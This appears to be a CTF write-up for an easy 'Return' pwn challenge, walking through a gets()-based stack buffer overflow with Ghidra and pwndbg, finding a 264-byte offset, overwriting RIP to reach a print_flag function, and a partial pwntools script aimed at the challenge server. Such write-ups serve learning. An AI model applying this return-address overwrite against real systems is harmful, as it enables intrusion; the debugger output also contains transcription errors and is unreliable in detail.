

## Return (Easy) - Pwn

Sunday, April 30, 2023 2:18 AM

## Description

Navigate the maze of memory and claim your prize.

## Solution

Ghidra shows there's a buffer of 256 but it's using gets.

```
1 2 undefined8 main(void)
3
4 {
5     char local_108 [256];
6
7     banner();
8     printf("\n\nMay I ask what your name is? ");
9     gets(local_108);
10    printf("Good luck %s!\n",local_108);
11    return 0;
12 }
13
```

### Cyclic 300 with pwndbg to trigger the seg fault

```
pwndbg> cyclic 300
aaaaaaaaaaaaaaaaaaaaadssssssssssssssssssssssfaaaaaaaagaaaaaaaahaaaaaaaiaaaaaaaajaaaaaaaakaaaaaalaaaaaaaamaaaaaaaanaaaaaaaocaaaaaaaapaaaaaaaqaaaaaaaaraaaaaaaasaaaaaatataaaaaauaaaaaaaavaaaaaaaawaaaaaaaaxaaaa
aaaaaayaaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaabbeaaaaaafbfaaaaaabgaaaaaabhaaaaaabibiaaaaaabjaaaaaabkaaaaaablaaaaaambmaa
pwndbg> r
Starting program: /home/saad/Desktop/ctf-dev/pwn/unused/pwn_easy_BOF_r1.5/challenge/challenge
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

LEVELING UP A LITTLE!

CAN YOU SOLVE THIS ONE?

May I ask what your name is? aaaaaaaaaaaaaaaaaaaaaadssssssssssssssssssssssfaaaaaaaagaaaaaaaahaaaaaaaiaaaaaaaajaaaaaaaakaaaaaalaaaaaaaamaaaaaaaanaaaaaaaocaaaaaaaapaaaaaaaqaaaaaaaaraaaaaaaasaaaaaatataaaaaauaaaaaaaavaaaaaaaawaaaaaaaaxaaaa
uaaaaaaavaaaaaaaaayaaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaabbeaaaaaafbfaaaaaabgaaaaaabhaaaaaabibiaaaaaabjaaaaaabkaaaaaablaaaaaambmaa
Good luck aaaaaaaaacaaaaaaaadssssssssssssssssssssssfaaaaaaaagaaaaaabhaaaaaaaiaaaaaaaajaaaaaaaakaaaaaalaaaaaaaamaaaaaaaanaaaaaaaocaaaaaaaapaaaaaaaqaaaaaaaaraaaaaaaasaaaaaatataaaaaauaaaaaaaavaaaaaaaawaaaaaaaaxaaaa
aaaaaayaaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaabbeaaaaaafbfaaaaaabgaaaaaabhaaaaaabibiaaaaaabjaaaaaabkaaaaaablaaaaaambmaa!
```

Check the offset by checking the first 8 bytes from RSP.

```

RDP 0x6261616161616168 ('haaaaaab')
RSP 0x7fffffffcd88 ← 'iaaaaaab|aaaaaabkaaaaaablaaaaaabmaaa'
RIP 0x4012a1 (main+97) ← ret

[ DISASM / x86-64 / set emulate on ]

► 0x4012a1 <main+97> ret <0x6261616161616169>

[ STACK ]

00:0000 rsp 0x7fffffffcd88 ← 'iaaaaaab|aaaaaabkaaaaaablaaaaaabmaaa'
01:0008 0x7fffffffcd90 ← 'jaaaaaabkaaaaaablaaaaaabmaaa'
02:0010 0x7fffffffcd98 ← 'kaaaaaablaaaaaabmaaa'
03:0018 0x7fffffffcdca0 ← 'laaaaaabmaaa'
04:0020 0x7fffffffcdca8 ← 0x7f006161616d /* 'maaa' */
05:0028 0x7fffffffcdcb0 ← 0x7fffffffdd98 → 0x7fffffffe119 ← '/home/saad/Desktop/ctf-dev/pwn/unused/pwn_easy_BOF_r1.5/challenge/challenge'
06:0030 0x7fffffffcdcb8 ← 0x9425dbabd8711a3f
07:0038 0x7fffffffcdcc0 ← 0x0

[ BACKTRACE ]

► f 0 0x4012a1 main+97
f 1 0x6261616161616169
f 2 0x626161616161616a
f 3 0x626161616161616b
f 4 0x626161616161616c
f 5 0x7f006161616d
f 6 0x7fffffffdd98
f 7 0x9425dbabd8711a3f

pwndbg> cyclic -l iaaaaaa
lookup pattern must be 8 bytes (use '-n <length>' to lookup pattern of different length)
pwndbg> cyclic -l iaaaaaab
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264

```

Offset is 264 so create a cyclic pattern of 264 followed by 6 B's

```
wmpdng> cyclic 264
aaaaaaaaabaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaaafaaaaaaaaagaaaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaakaaaaaaaaalaaaaaaaaamaaaaaaanaaaaaaaoaaaaaapaaaaaaqaaaaaaraaaaaaasaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaa
aaayaaaaaaazaaaaaabbaaaaaabcbaaaaaabdcaaaaaabeaaaaabfaaaaaabgaaaaabhaaaaabb
wmpdng> r
Starting program: /home/saad/Desktop/ctf-dev/pwn/unused/pwn_easy_B0F_r1.5/challenge/challenge
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

LEVELING UP A LITTLE!

CAN YOU SOLVE THIS ONE?

May I ask what your name is? aaaaaaabbaaaaaacaaaaaadcaaaaaaeaaaaafaaaaaaagaaaaaghaaaaaiiaaaaaajaaaaaaakaaaaaalaaaaamaaaaaanaaaaaoaaaaaapaaaaaqaaaaaaraaaaaaasaaaaaataaaaaa
uaaaaaavaaaaaawaaaaaxaaaaayaaaaaaazaaaaaabbaaaaaabcbaaaaaabdcaaaaaabeaaaaabfaaaaaabgaaaaabhaaaaabbBBBBBB
Good luck aaaaaaabbaaaaaacaaaaaadcaaaaaaeaaaaafaaaaaaagaaaaaghaaaaaiiaaaaaajaaaaaaakaaaaaalaaaaamaaaaaanaaaaaoaaaaaapaaaaaqaaaaaaraaaaaaasaaaaaataaaaaaauaaaaaaavaaaaaaawaaa
aaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcbaaaaaabdcaaaaaabeaaaaabfaaaaaabgaaaaabhaaaaabbBBBBBB!
```

Notice the RIP is overwritten

```

RAX 0x0
RDX 0x0
*EDI 0x7fffffff620 → 0x7ffff7e16e70 ('funlockfile') ← mov rdi, qword ptr [rdi + 0x88]
*ESI 0x4052a0 ← 0x63756c20646f647 ('Good luc')
R8 0x0
*R9 0x73
R10 0x0
*r11 0x202
R12 0x0
*R13 0x7fffffffdda8 → 0x7fffffff165 ← 0x5245545f5353454c ('LESS_TER')
*R14 0x403e00 (do_global_dtors_aux_fini_array_entry) → 0x401150 (do_global_dtors_aux) ← endbr64
*R15 0x7ffff7ffd020 (rtld_global) → 0x7ffff7ffe2e0 ← 0x0
*RBP 0x6261616161616168 ('haaaaaab')
*RSP 0x7fffffffcdc90 ← 0x0
*RIP 0x4242424242424242
[ DISASM / x86-64 / set emulate on ]
Invalid address 0x4242424242424242

[ STACK ]
00:0000 | rsp 0x7fffffffcdc90 ← 0x0
01:0008 | 0x7fffffffcdc98 → 0x401740 (main) ← push rbp
02:0010 | 0x7fffffffcdc90 → 0x100000000
03:0018 | 0x7fffffffcdca8 → 0x7fffffffdd98 → 0x7fffffff119 ← '/home/saad/Desktop/ctf-dev/pwn/unused/pwn_easy_BOF_r1.5/challenge/challenge'
04:0020 | 0x7fffffffcdcb0 → 0x7fffffffdd98 → 0x7fffffff119 ← '/home/saad/Desktop/ctf-dev/pwn/unused/pwn_easy_BOF_r1.5/challenge/challenge'
05:0028 | 0x7fffffffcdcb8 ← 0x9ceef77573abeb35
06:0030 | 0x7fffffffcdcc0 ← 0x0
07:0038 | 0x7fffffffcdcc8 → 0x7fffffffdda8 → 0x7fffffff165 ← 0x5245545f5353454c ('LESS_TER')
[ BACKTRACE ]
► f 0 0x4242424242424242
f 1 0x0
pwndbg>

```

Since there's no protection on the binary, simply get the address of `print_flag` function from `pwndbg`.

```
pwndbg> p print_flag
$1 = {<text variable, no debug info>} 0x401186 <print_flag>
pwndbg>
```

## Final Script

...

```
from pwn import *
```

```
rem = True
```

if rem:

HOST, IP = '159.223.192.150', 9002 # Enter remote host IP and Port

```
r = remote(HOST, IP)
```

```
else:
```

```
r = process("./return") # Challenge path
```

```
payload = b"A"*264
```

...

Flag: NCC{r3t\_2\_w1ns\_4r3\_fuN}